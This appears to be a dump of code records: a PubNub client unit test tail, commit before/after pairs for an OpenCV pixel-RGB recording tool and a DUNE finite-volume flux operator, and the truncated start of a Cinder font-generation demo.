{\n\t\tmemset(&cb, 0, sizeof(cb));\n\t\tcb.add_socket = pubnub_test_add_socket;\n\t\tcb.rem_socket = pubnub_test_rem_socket;\n\t\tcb.timeout = pubnub_test_timeout;\n\t\tcb.wait = pubnub_test_wait;\n\n\t\tcurlInit = false;\n\n        _err_pipe[0] = 0;\n        _err_pipe[1] = 0;\n\t\t_old_err = 0;\n\n\t\t_err.clear();\n        if (_pipe(_err_pipe, 65536, O_BINARY) != -1) {\n\t\t\t_old_err = dup(fileno(stderr));\n\t\t\tfflush(stderr);\n\t\t\tdup2(_err_pipe[1], fileno(stderr));\n\t\t}\n\n\t\tp = pubnub_init(\"demo\", \"demo\", &cb, NULL);\n\n\t\taddSock = remSock = 0;\n\t\taddSockMode = 0;\n\t}\n\n\tvirtual void TearDown() {\n        if (_old_err > 0) {\n\t\t\tdup2(_old_err, fileno(stderr));\n            close(_old_err);\n\t\t}\n        if (_err_pipe[0] > 0) {\n            close(_err_pipe[0]);\n\t\t}\n        if (_err_pipe[1] > 0) {\n            close(_err_pipe[1]);\n\t\t}\n\t\tpubnub_done(p);\n\t}\n};\n\nint PubnubTest::addSock, PubnubTest::addSockMode, PubnubTest::remSock;\n\nTEST_F(PubnubTest, Publish) {\n\tASSERT_TRUE(curlInit);\n\tjson_object *msg;\n\tmsg = json_object_new_object();\n\tjson_object_object_add(msg, \"str\", json_object_new_string(\"test\"));\n\tpubnub_publish(p, \"channel\", msg, -1, NULL, NULL);\n\tjson_object_put(msg);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/publish\/demo\/demo\/0\/channel\/0\/%7B%20%22str%22%3A%20%22test%22%20%7D\", url);\n}\n\nTEST_F(PubnubTest, Subscribe) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_subscribe(p, \"channel\", -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tchar *t = strchr(url, '=');\n\tASSERT_TRUE(t != NULL);\n\tchar *s = strdup(url);\n\ts[t - url] = 0;\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/subscribe\/demo\/channel\/0\/0?uuid\", s);\n\tfree(s);\n\tpubnub_connection_cancel(p);\n}\n\nTEST_F(PubnubTest, Unsubscribe) {\n\tASSERT_TRUE(curlInit);\n\tconst char *channel = \"channel\";\n\tpubnub_subscribe(p, channel, -1, NULL, NULL);\n\tpubnub_unsubscribe(p, &channel, 1, -1, NULL, NULL);\n\tEXPECT_EQ(1, p->channelset.n);\n\tpubnub_connection_cancel(p);\n\tpubnub_subscribe(p, channel, -1, NULL, NULL);\n\tpubnub_unsubscribe(p, &channel, 1, -1, NULL, NULL);\n\tEXPECT_EQ(0, p->channelset.n);\n}\n\n\nTEST_F(PubnubTest, SubscribeMulti) {\n\tASSERT_TRUE(curlInit);\n\tconst char *channels[] = {\"channel1\", \"channel2\"};\n\tpubnub_subscribe_multi(p, channels, 2, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tchar *t = strchr(url,'=');\n\tASSERT_TRUE(t != NULL);\n\tchar *s = strdup(url);\n\ts[t - url] = 0;\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/subscribe\/demo\/channel1%2Cchannel2\/0\/0?uuid\", s);\n\tfree(s);\n\tpubnub_connection_cancel(p);\n}\n\nTEST_F(PubnubTest, History) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_history(p, \"channel\", 10, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/history\/demo\/channel\/0\/10\", url);\n}\n\nTEST_F(PubnubTest, HereNow) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_here_now(p, \"channel\", -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/v2\/presence\/sub-key\/demo\/channel\/channel\", url);\n}\n\nTEST_F(PubnubTest, Time) {\n\tASSERT_TRUE(curlInit);\n\tpubnub_time(p, -1, NULL, NULL);\n\tcurl_easy_getinfo(p->curl, CURLINFO_EFFECTIVE_URL, &url);\n\tEXPECT_STREQ(\"http:\/\/pubsub.pubnub.com\/time\/0\", url);\n}\n\nTEST(ChannelSetTest, AddRemove) {\n\tstruct channelset cs = {NULL, 0};\n\tEXPECT_EQ(0, channelset_add(&cs, &cs));\n\tconst char *ch1[] = {\"abc\", \"cde\"};\n\tstruct channelset cs1 = {ch1, 2};\n\tEXPECT_EQ(2, channelset_add(&cs, &cs1));\n\tEXPECT_STREQ(ch1[1], cs.set[1]);\n\tchannelset_done(&cs);\n\tEXPECT_EQ(0, channelset_add(&cs1, &cs1));\n\tconst char *ch2[] = {\"abc\", \"fgh\", \"cde\"};\n\tstruct channelset cs2 = {ch2, 3};\n\tstruct channelset cs3 = {NULL, 0};\n\tEXPECT_EQ(2, channelset_add(&cs3, &cs1));\n\tEXPECT_EQ(1, channelset_add(&cs3, &cs2));\n\tEXPECT_EQ(2, channelset_rm(&cs3, &cs1));\n\tEXPECT_EQ(0, channelset_rm(&cs3, &cs1));\n\tEXPECT_STREQ(ch2[1], cs3.set[0]);\n\tEXPECT_EQ(1, channelset_rm(&cs3, &cs2));\n\tchannelset_done(&cs3);\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ clickStoreRGB.cpp : ̨Ӧóڵ㡣\n\/\/\n\n#include \"stdafx.h\"\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <vector>\n#include <algorithm>\n#include <Windows.h>\n\n#include \"RGBRecord.h\"\n\nusing namespace::std;\nusing namespace::cv;\n\nMat img;\t\t\/\/ ͼƬ\nint frameNum = -1;\t\/\/ ֡\nstring filename;\t\/\/ ǰͼƬ·\nchar sc[500];\t\t\/\/ ǰͼƬ·ת\nvector<RGBRecord> rgbVec;\n\n\n\nstatic void onMouse( int event, int x, int y, int, void* )\n{\n\tif( event == CV_EVENT_LBUTTONUP )\n\t{\n\t\tMat_<Vec3b> _img = img;\n\t\tRGBRecord record( _img(y,x)[2], _img(y,x)[1], _img(y,x)[0],\n\t\t\t\t\t\t  y, x, frameNum, filename); \n\t\trgbVec.push_back(record);\n\t\tcout << record << endl;\n\t\timg = _img;\n\t\t\n\t\treturn;\n\t}\n\telse if ( event == CV_EVENT_RBUTTONUP )\n\t{\n\t\tif(!rgbVec.empty()) \/\/ do nothing if empty\n\t\t{\n\t\t\tRGBRecord record;\n\t\t\trecord = rgbVec.back();\n\t\t\trgbVec.pop_back();\n\t\t\tSetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY |\n\t\t\t\t\t\t\t\t\tFOREGROUND_RED);\n\t\t\tcout << \"deleted: \"<< record << endl;\n\t\t\t\/\/ reset the font color\n\t\t\tSetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x7);\n\t\t}\n\t}\n}\n\nvoid writeVec()\n{\n\tif (rgbVec.empty())\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ write to txt\n\tofstream outfile(\"rgbStat.txt\", ofstream::out | ofstream::app);\n\tif(!outfile)\n\t{\n\t\tcerr << \"unable to open outfile\" << endl;\n\t\treturn ;\n\t}\n\telse\n\t{\n\t\tif(outfile)\n\t\t{\n\t\t\t\/\/ write every record\n\t\t\tfor (vector<RGBRecord>::iterator iter = rgbVec.begin() ;\n\t\t\t\t\titer != rgbVec.end() ; ++iter)\n\t\t\t{\n\t\t\t\toutfile << *iter << endl;\n\t\t\t}\n\t\t}\n\t\t\/\/ close the file\n\t\toutfile.close();\n\t\toutfile.clear();\n\t}\n}\n\nstring ext(string strFile)\n{\n\tstring::size_type found = strFile.rfind(\".\");\n\tif( found != string ::npos)\n\t{\n\t\t++found;\n\t\tstring strExt =  strFile.substr(found);\n\t\t\/\/ ȫתСд\n\t\ttransform(strExt.begin(), strExt.end(), strExt.begin(), ::tolower);\n\t\treturn strExt;\n\t}\n\treturn string();\n}\n\nbool isImage(string filename)\n{\t\n\tstring strExt = ext(filename);\n\tif(strExt == \"jpg\" || strExt == \"bmp\" || strExt == \"jpeg\" || \n\t\tstrExt == \"png\" )\n\t{\n\t\tcout << \"ext is: \" << strExt << endl;\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nbool isVideo(string filename)\n{\n\tstring strExt = ext(filename);\n\tif( strExt == \"avi\" || strExt == \"3gp\" || strExt == \"rmvb\" || strExt == \"flv\" || \n\t\tstrExt == \"mp4\" || strExt == \"wmv\" || strExt == \"mkv\" )\n\t{\n\t\tcout << \"ext is: \" << strExt << endl;\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid dealImage()\n{\n\timg = imread(filename);\n\tif(! img.data )                              \/\/ Check for invalid input\n\t{\n\t\tcout <<  \"Could not open or no such image file.\" << std::endl ;\n\t\treturn ;\n\t}\n\tfor (;;)\n\t{\n\t\tconst string WIN_SRC  = \"src_pic\";\n\t\tnamedWindow( WIN_SRC, CV_WINDOW_AUTOSIZE );\/\/ Create a window for display.\n\t\tsetMouseCallback(WIN_SRC, onMouse);\n\t\timshow( WIN_SRC, img );                   \/\/ Show our image inside it.\n\n\t\tchar c = (char)waitKey();\n\t\tif (c==27) \/\/ ESC pressed\n\t\t{\n\t\t\twriteVec();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid dealVideo()\n{\n\tVideoCapture capt(filename);\n\tif(!capt.isOpened())\n\t{\n\t\tcout << \"Can't open video file : \" << filename << endl;\n\t\treturn;\n\t}\n\tfor(;;)\n\t{\n\t\tcapt >> img;\n\t\t++frameNum ;\n\t\tif (img.empty())\n\t\t{\n\t\t\tcout << \"Video is over.\" << endl;\n\t\t\twriteVec();\n\t\t\treturn;\n\t\t}\n\t\tcout << \"frame = \" <<  frameNum << endl;\n\t\tconst char *WIN_CAP = \"src_vid\";\n\t\tnamedWindow(WIN_CAP);\n\t\tsetMouseCallback(WIN_CAP, onMouse);\n\t\timshow (WIN_CAP, img);\n\n\t\tchar c = (char)waitKey();\n\t\t\/\/ ignore other input keys\n\t\twhile ( (c!=13) && (c != 27) )\n\t\t{\n\t\t\tc = (char)waitKey();\n\t\t}\n\t\tif (c==13) \/\/ ENTER to forward \n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tif (c==27) \/\/ ESC to EXIT\n\t\t{\n\t\t\twriteVec();\n\t\t\tbreak;\n\t\t}\n\t}\n\n}\n\nstring& replace_all_distinct(string& str, const string& old_value, const string& new_value)     \n{     \n    for(string::size_type pos = 0; pos != string::npos; \n\t\tpos += new_value.length() )\n\t{\n\t\tpos=str.find(old_value, pos);\n        if( pos != string::npos )     \n\t\t{\n\t\t\tstr.replace(pos, old_value.length(), new_value);\n\t\t}\n        else\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}     \n\treturn str;     \n} \n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\twhile (filename.empty())\n\t{\n\t\tif ( argc == 2 ) \/\/ drag file input\n\t\t{\n\t\t\twcout << \"drag file: \" << argv[1] << endl;\n\t\t\t\/\/ Converts Unicode string to ANSI\n\t\t\tsprintf(sc,\"%S\", argv[1]);\n\t\t\tfilename = string(sc);\n\t\t}\n\t\telse \/\/ enter the filepath\n\t\t{\n\t\t\tcout << \"input an file: \" <<ends;\n\t\t\tgetline(cin, filename);\n\t\t}\n\t} \/\/ end while\n\n\n\treplace_all_distinct(filename, string(\"\\\\\"), string(\"\\\\\\\\\") );\n\tcout << \"file accepted: \" << filename << endl;\n\n\tif(isImage(filename)) \/\/ if it's an image\n\t{\n\t\tcout << \"This is an image.\" << endl;\n\t\tdealImage();\n\t}\n\telse if(isVideo(filename))\n\t{\n\t\tcout << \"This is a video.\" << endl;\n\t\tdealVideo();\n\t}\n\telse\n\t{\n\t\tcout << \"Unknown-type file.\" << endl;\n\t}\n\n\t\/\/ show the results\n\tgetchar();\n\n\treturn 0;\n}\n\n<commit_msg>修正了能够识别的格式播放完时候退出未响应的bug<commit_after>\/\/ clickStoreRGB.cpp : ̨Ӧóڵ㡣\n\/\/\n\n#include \"stdafx.h\"\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <vector>\n#include <algorithm>\n#include <Windows.h>\n\n#include \"RGBRecord.h\"\n\nusing namespace::std;\nusing namespace::cv;\n\nMat img;\t\t\/\/ ͼƬ\nint frameNum = -1;\t\/\/ ֡\nstring filename;\t\/\/ ǰͼƬ·\nchar sc[500];\t\t\/\/ ǰͼƬ·ת\nvector<RGBRecord> rgbVec;\n\n\n\nstatic void onMouse( int event, int x, int y, int, void* )\n{\n\tif( event == CV_EVENT_LBUTTONUP )\n\t{\n\t\tMat_<Vec3b> _img = img;\n\t\tRGBRecord record( _img(y,x)[2], _img(y,x)[1], _img(y,x)[0],\n\t\t\t\t\t\t  y, x, frameNum, filename); \n\t\trgbVec.push_back(record);\n\t\tcout << record << endl;\n\t\timg = _img;\n\t\t\n\t\treturn;\n\t}\n\telse if ( event == CV_EVENT_RBUTTONUP )\n\t{\n\t\tif(!rgbVec.empty()) \/\/ do nothing if empty\n\t\t{\n\t\t\tRGBRecord record;\n\t\t\trecord = rgbVec.back();\n\t\t\trgbVec.pop_back();\n\t\t\tSetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY |\n\t\t\t\t\t\t\t\t\tFOREGROUND_RED);\n\t\t\tcout << \"deleted: \"<< record << endl;\n\t\t\t\/\/ reset the font color\n\t\t\tSetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x7);\n\t\t}\n\t}\n}\n\nvoid writeVec()\n{\n\tif (rgbVec.empty())\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ write to txt\n\tofstream outfile(\"rgbStat.txt\", ofstream::out | ofstream::app);\n\tif(!outfile)\n\t{\n\t\tcerr << \"unable to open outfile\" << endl;\n\t\treturn ;\n\t}\n\telse\n\t{\n\t\tif(outfile)\n\t\t{\n\t\t\t\/\/ write every record\n\t\t\tfor (vector<RGBRecord>::iterator iter = rgbVec.begin() ;\n\t\t\t\t\titer != rgbVec.end() ; ++iter)\n\t\t\t{\n\t\t\t\toutfile << *iter << endl;\n\t\t\t}\n\t\t}\n\t\t\/\/ close the file\n\t\toutfile.close();\n\t\toutfile.clear();\n\t}\n}\n\nstring ext(string strFile)\n{\n\tstring::size_type found = strFile.rfind(\".\");\n\tif( found != string ::npos)\n\t{\n\t\t++found;\n\t\tstring strExt =  strFile.substr(found);\n\t\t\/\/ ȫתСд\n\t\ttransform(strExt.begin(), strExt.end(), strExt.begin(), ::tolower);\n\t\treturn strExt;\n\t}\n\treturn string();\n}\n\nbool isImage(string filename)\n{\t\n\tstring strExt = ext(filename);\n\tif(strExt == \"jpg\" || strExt == \"bmp\" || strExt == \"jpeg\" || \n\t\tstrExt == \"png\" )\n\t{\n\t\tcout << \"ext is: \" << strExt << endl;\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nbool isVideo(string filename)\n{\n\tstring strExt = ext(filename);\n\tif( strExt == \"avi\" || strExt == \"3gp\" || strExt == \"rmvb\" || strExt == \"flv\" || \n\t\tstrExt == \"mp4\" || strExt == \"wmv\" || strExt == \"mkv\" )\n\t{\n\t\tcout << \"ext is: \" << strExt << endl;\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid dealImage()\n{\n\timg = imread(filename);\n\tif(! img.data )                              \/\/ Check for invalid input\n\t{\n\t\tcout <<  \"Could not open or no such image file.\" << std::endl ;\n\t\treturn ;\n\t}\n\tfor (;;)\n\t{\n\t\tconst string WIN_SRC  = \"src_pic\";\n\t\tnamedWindow( WIN_SRC, CV_WINDOW_AUTOSIZE );\/\/ Create a window for display.\n\t\tsetMouseCallback(WIN_SRC, onMouse);\n\t\timshow( WIN_SRC, img );                   \/\/ Show our image inside it.\n\n\t\tchar c = (char)waitKey();\n\t\tif (c==27) \/\/ ESC pressed\n\t\t{\n\t\t\twriteVec();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid dealVideo()\n{\n\tVideoCapture capt(filename);\n\tif(!capt.isOpened())\n\t{\n\t\tcout << \"Can't open video file : \" << filename << endl;\n\t\treturn;\n\t}\n\tfor(;;)\n\t{\n\t\tcapt >> img;\n\t\t++frameNum ;\n\t\tif (img.empty())\n\t\t{\n\t\t\tcout << \"Video is over.\" << endl;\n\t\t\twriteVec();\n\t\t\treturn;\n\t\t}\n\t\tcout << \"frame = \" <<  frameNum << endl;\n\t\tconst char *WIN_CAP = \"src_vid\";\n\t\tnamedWindow(WIN_CAP);\n\t\tsetMouseCallback(WIN_CAP, onMouse);\n\t\timshow (WIN_CAP, img);\n\n\t\tchar c = (char)waitKey();\n\t\t\/\/ ignore other input keys\n\t\twhile ( (c!=13) && (c != 27) )\n\t\t{\n\t\t\tc = (char)waitKey();\n\t\t}\n\t\tif (c==13) \/\/ ENTER to forward \n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tif (c==27) \/\/ ESC to EXIT\n\t\t{\n\t\t\twriteVec();\n\t\t\tbreak;\n\t\t}\n\t}\n\n}\n\nstring& replace_all_distinct(string& str, const string& old_value, const string& new_value)     \n{     \n    for(string::size_type pos = 0; pos != string::npos; \n\t\tpos += new_value.length() )\n\t{\n\t\tpos=str.find(old_value, pos);\n        if( pos != string::npos )     \n\t\t{\n\t\t\tstr.replace(pos, old_value.length(), new_value);\n\t\t}\n        else\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}     \n\treturn str;     \n} \n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\twhile (filename.empty())\n\t{\n\t\tif ( argc == 2 ) \/\/ drag file input\n\t\t{\n\t\t\twcout << \"drag file: \" << argv[1] << endl;\n\t\t\t\/\/ Converts Unicode string to ANSI\n\t\t\tsprintf(sc,\"%S\", argv[1]);\n\t\t\tfilename = string(sc);\n\t\t}\n\t\telse \/\/ enter the filepath\n\t\t{\n\t\t\tcout << \"input an file: \" <<ends;\n\t\t\tgetline(cin, filename);\n\t\t}\n\t} \/\/ end while\n\n\n\treplace_all_distinct(filename, string(\"\\\\\"), string(\"\\\\\\\\\") );\n\tcout << \"file accepted: \" << filename << endl;\n\n\tif(isImage(filename)) \/\/ if it's an image\n\t{\n\t\tcout << \"This is an image.\" << endl;\n\t\tdealImage();\n\t}\n\telse if(isVideo(filename))\n\t{\n\t\tcout << \"This is a video.\" << endl;\n\t\tdealVideo();\n\t}\n\telse\n\t{\n\t\tcout << \"Unknown-type file.\" << endl;\n\t\t\/\/ show the results\n\t\tgetchar();\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef OPERATOR_HH\n#define OPERATOR_HH\n\n\n#include <dune\/grid\/common\/mcmgmapper.hh>\n#include <dune\/grid\/common\/datahandleif.hh>\n\n#include \"coefficients.hh\"\n#include \"vector.hh\"\n\n#ifdef AS_LIB\n#include <boost\/python.hpp>\n#endif\n\n\ntemplate <class M>\nclass VectorExchange\n    : public Dune::CommDataHandleIF<VectorExchange<M>, double>\n{\npublic:\n  typedef double DataType;\n\n  VectorExchange (const M & mapper, Vector& u)\n    : mapper_(mapper), u_(u)\n  {}\n\n  bool contains(int dim, int codim) const\n  {\n    return (codim == 0);\n  }\n\n  bool fixedsize (int dim, int codim) const\n  {\n    return true;\n  }\n\n  template < class EntityType >\n  std::size_t size (EntityType & e) const\n  {\n    return 1;\n  }\n\n  template <class MessageBuffer, class EntityType >\n  void gather(MessageBuffer& buff, const EntityType& e ) const\n  {\n    buff.write(u_[mapper_.map(e)]);\n  }\n\n  template <class MessageBuffer, class EntityType >\n  void scatter(MessageBuffer& buff, const EntityType& e , std::size_t n)\n  {\n    DataType x;\n    buff.read(x);\n    u_[mapper_.map(e)] = x;\n  }\nprivate :\n  const M& mapper_;\n  Vector& u_;\n};\n\n\ntemplate <class GV, typename D = char>\nclass SpaceOperator\n{\npublic:\n  typedef Dune::MultipleCodimMultipleGeomTypeMapper<GV, Dune::MCMGElementLayout> Mapper;\n  typedef VectorExchange<Mapper> VE;\n\n  SpaceOperator(std::shared_ptr<GV> gv, std::shared_ptr<Coefficients<GV::dimension> >& coeffs)\n      : gv_(gv), coefficients_(coeffs), mapper_(*gv)\n  {}\n\n  SpaceOperator(std::shared_ptr<GV> gv, std::shared_ptr<Coefficients<GV::dimension> >& coeffs, D d)\n      : gv_(gv), coefficients_(coeffs), mapper_(*gv), d_(d)\n  {}\n\n  SpaceOperator(const SpaceOperator& that) = delete;\n  SpaceOperator& operator=(const SpaceOperator& that) = delete;\n\n  void apply(const Vector& source, Vector& range, double exponent, double weight=1.) const\n  {\n    auto endit = gv_->template end<0>();\n    for (auto it = gv_->template begin<0>(); it != endit; ++it) {\n\n      int indInside = mapper_.map(*it);\n\n      auto isend = gv_->iend(*it);\n      for (auto is = gv_->ibegin(*it); is != isend; ++is) {\n\n        if (is->neighbor()) {\n\n          auto outside = is->outside();\n          int indOutside = mapper_.map(*outside);\n\n          if (indInside < indOutside) {\n\n            const double u_s = source[indInside];\n            const double u_n = source[indOutside];\n\n            const double faceVolume = is->geometry().volume();\n            const auto normal = is->centerUnitOuterNormal();\n\n            double convectiveFlux = (normal * coefficients_->v) * (pow(u_s, exponent) + pow(u_n, exponent)) \/ 2;\n\n            const double interfaceFlux = ((u_s - u_n) \/ (2 * coefficients_->lambda) + convectiveFlux) * faceVolume;\n\n            range[indInside] += interfaceFlux \/ it->geometry().volume() * weight;\n            range[indOutside] -= interfaceFlux \/ outside->geometry().volume() * weight;\n\n          }\n        }\n      }\n    }\n\n    VE ve(mapper_, range);\n    gv_->template communicate<VE>(ve, Dune::InteriorBorder_All_Interface, Dune::ForwardCommunication);\n  }\n\n  std::size_t dimSource()\n  {\n    return mapper_.size();\n  }\n\nprivate:\n  std::shared_ptr<GV> gv_;\n  std::shared_ptr<Coefficients<GV::dimension> > coefficients_;\n  Mapper mapper_;\n  D d_;\n\n#ifdef AS_LIB\npublic:\n  static void export_(const char* classname)\n  {\n    using boost::python::class_;\n    using boost::python::no_init;\n\n    class_<SpaceOperator, std::shared_ptr<SpaceOperator>, boost::noncopyable>(classname, no_init)\n        .def(\"apply\", &SpaceOperator::apply)\n        .add_property(\"dimSource\", &SpaceOperator::dimSource)\n        .add_property(\"dimRange\", &SpaceOperator::dimSource)\n    ;\n  }\n#endif\n\n};\n\n\n#endif\n<commit_msg>fix numerical flux for negative values<commit_after>#ifndef OPERATOR_HH\n#define OPERATOR_HH\n\n\n#include <dune\/grid\/common\/mcmgmapper.hh>\n#include <dune\/grid\/common\/datahandleif.hh>\n\n#include \"coefficients.hh\"\n#include \"vector.hh\"\n\n#ifdef AS_LIB\n#include <boost\/python.hpp>\n#endif\n\n\ntemplate <class M>\nclass VectorExchange\n    : public Dune::CommDataHandleIF<VectorExchange<M>, double>\n{\npublic:\n  typedef double DataType;\n\n  VectorExchange (const M & mapper, Vector& u)\n    : mapper_(mapper), u_(u)\n  {}\n\n  bool contains(int dim, int codim) const\n  {\n    return (codim == 0);\n  }\n\n  bool fixedsize (int dim, int codim) const\n  {\n    return true;\n  }\n\n  template < class EntityType >\n  std::size_t size (EntityType & e) const\n  {\n    return 1;\n  }\n\n  template <class MessageBuffer, class EntityType >\n  void gather(MessageBuffer& buff, const EntityType& e ) const\n  {\n    buff.write(u_[mapper_.map(e)]);\n  }\n\n  template <class MessageBuffer, class EntityType >\n  void scatter(MessageBuffer& buff, const EntityType& e , std::size_t n)\n  {\n    DataType x;\n    buff.read(x);\n    u_[mapper_.map(e)] = x;\n  }\nprivate :\n  const M& mapper_;\n  Vector& u_;\n};\n\n\ntemplate <class GV, typename D = char>\nclass SpaceOperator\n{\npublic:\n  typedef Dune::MultipleCodimMultipleGeomTypeMapper<GV, Dune::MCMGElementLayout> Mapper;\n  typedef VectorExchange<Mapper> VE;\n\n  SpaceOperator(std::shared_ptr<GV> gv, std::shared_ptr<Coefficients<GV::dimension> >& coeffs)\n      : gv_(gv), coefficients_(coeffs), mapper_(*gv)\n  {}\n\n  SpaceOperator(std::shared_ptr<GV> gv, std::shared_ptr<Coefficients<GV::dimension> >& coeffs, D d)\n      : gv_(gv), coefficients_(coeffs), mapper_(*gv), d_(d)\n  {}\n\n  SpaceOperator(const SpaceOperator& that) = delete;\n  SpaceOperator& operator=(const SpaceOperator& that) = delete;\n\n  void apply(const Vector& source, Vector& range, double exponent, double weight=1.) const\n  {\n    auto endit = gv_->template end<0>();\n    for (auto it = gv_->template begin<0>(); it != endit; ++it) {\n\n      int indInside = mapper_.map(*it);\n\n      auto isend = gv_->iend(*it);\n      for (auto is = gv_->ibegin(*it); is != isend; ++is) {\n\n        if (is->neighbor()) {\n\n          auto outside = is->outside();\n          int indOutside = mapper_.map(*outside);\n\n          if (indInside < indOutside) {\n\n            const double u_s = source[indInside];\n            const double u_n = source[indOutside];\n\n            const double faceVolume = is->geometry().volume();\n            const auto normal = is->centerUnitOuterNormal();\n\n            const double pow_u_s = ((u_s > 0) - (u_s < 0)) * pow(fabs(u_s), exponent);\n            const double pow_u_n = ((u_n > 0) - (u_n < 0)) * pow(fabs(u_n), exponent);\n            double convectiveFlux = (normal * coefficients_->v) * (pow_u_s + pow_u_n) \/ 2;\n\n            const double interfaceFlux = ((u_s - u_n) \/ (2 * coefficients_->lambda) + convectiveFlux) * faceVolume;\n\n            range[indInside] += interfaceFlux \/ it->geometry().volume() * weight;\n            range[indOutside] -= interfaceFlux \/ outside->geometry().volume() * weight;\n\n          }\n        }\n      }\n    }\n\n    VE ve(mapper_, range);\n    gv_->template communicate<VE>(ve, Dune::InteriorBorder_All_Interface, Dune::ForwardCommunication);\n  }\n\n  std::size_t dimSource()\n  {\n    return mapper_.size();\n  }\n\nprivate:\n  std::shared_ptr<GV> gv_;\n  std::shared_ptr<Coefficients<GV::dimension> > coefficients_;\n  Mapper mapper_;\n  D d_;\n\n#ifdef AS_LIB\npublic:\n  static void export_(const char* classname)\n  {\n    using boost::python::class_;\n    using boost::python::no_init;\n\n    class_<SpaceOperator, std::shared_ptr<SpaceOperator>, boost::noncopyable>(classname, no_init)\n        .def(\"apply\", &SpaceOperator::apply)\n        .add_property(\"dimSource\", &SpaceOperator::dimSource)\n        .add_property(\"dimRange\", &SpaceOperator::dimSource)\n    ;\n  }\n#endif\n\n};\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * GENERATING A FEW FONTS (SAVED IN THE DOCUMENTS FOLDER)\n *\n *\n * REQUIREMENTS:\n * - OSX\n * - FREETYPE BLOCK: https:\/\/github.com\/arielm\/Freetype\n *\n *\n * FONTS USED:\n * - Georgia - AVAILABLE ON OSX AND WINDOWS\n * - Roboto - AVAILABLE ON ANDROID AND AS GOOGLE-FONT: http:\/\/www.google.com\/fonts\/specimen\/Roboto\n * - FrankRuehl - AVAILABLE ON WINDOWS (WITH HEBREW SUPPORT): http:\/\/www.microsoft.com\/typography\/fonts\/font.aspx?FMID=1886\n *\/\n\n#include \"cinder\/app\/AppNative.h\"\n#include \"cinder\/gl\/gl.h\"\n\n#include \"chronotext\/font\/FontManager.h\"\n#include \"chronotext\/text\/TextHelper.h\"\n#include \"chronotext\/tools\/font\/XFontCreator.h\"\n#include \"chronotext\/tools\/font\/Characters.h\"\n#include \"chronotext\/utils\/Utils.h\"\n\nusing namespace std;\nusing namespace ci;\nusing namespace app;\nusing namespace chr;\n\nconst std::wstring HEBREW_BIBLICAL = L\":,;.-\\u05d0\\u05d1\\u05d2\\u05d3\\u05d4\\u05d5\\u05d6\\u05d7\\u05d8\\u05d9\\u05da\\u05db\\u05dc\\u05dd\\u05de\\u05df\\u05e0\\u05e1\\u05e2\\u05e3\\u05e4\\u05e5\\u05e6\\u05e7\\u05e8\\u05e9\\u05ea\";\n\nclass Application : public AppNative\n{\n    shared_ptr<FreetypeHelper> ftHelper;\n    FontManager fontManager;\n    \n    shared_ptr<XFont> font1;\n    shared_ptr<XFont> font2;\n    shared_ptr<XFont> font3;\n    \npublic:\n    void setup();\n    void prepareSettings(Settings *settings);\n    \n    void draw();\n    \n    void createFontSafely(const FontDescriptor &descriptor, float size, const wstring &characters, const XParams &params);\n    shared_ptr<XFont> loadFontSafely(const string &fileName);\n    void drawFontSafely(shared_ptr<XFont> &font, float size, float x, float y, float direction = +1);\n};\n\nvoid Application::setup()\n{\n    ftHelper = make_shared<FreetypeHelper>();\n    \n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD FONTS LIKE Georgia ON OSX\n     *\/\n    createFontSafely(FontDescriptor(\"\/Library\/Fonts\/Georgia.ttf\"), 64, ISO_8859_15, XParams(3, 2));\n    \n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING WITHOUT BLEEDING EDGES\n     * - DEMONSTRATES HOW TO LOAD A CUSTOM FONT FROM THE RESOURCE-BUNDLE\n     *\/\n    createFontSafely(FontDescriptor(getResourcePath(\"Roboto-Regular.ttf\")), 64, ISO_8859_15, XParams(3, 2));\n\n    \/*\n     * - PROVIDING ENOUGH MARGIN AND PADDING, TO ALLOW FOR MIPMAPPING 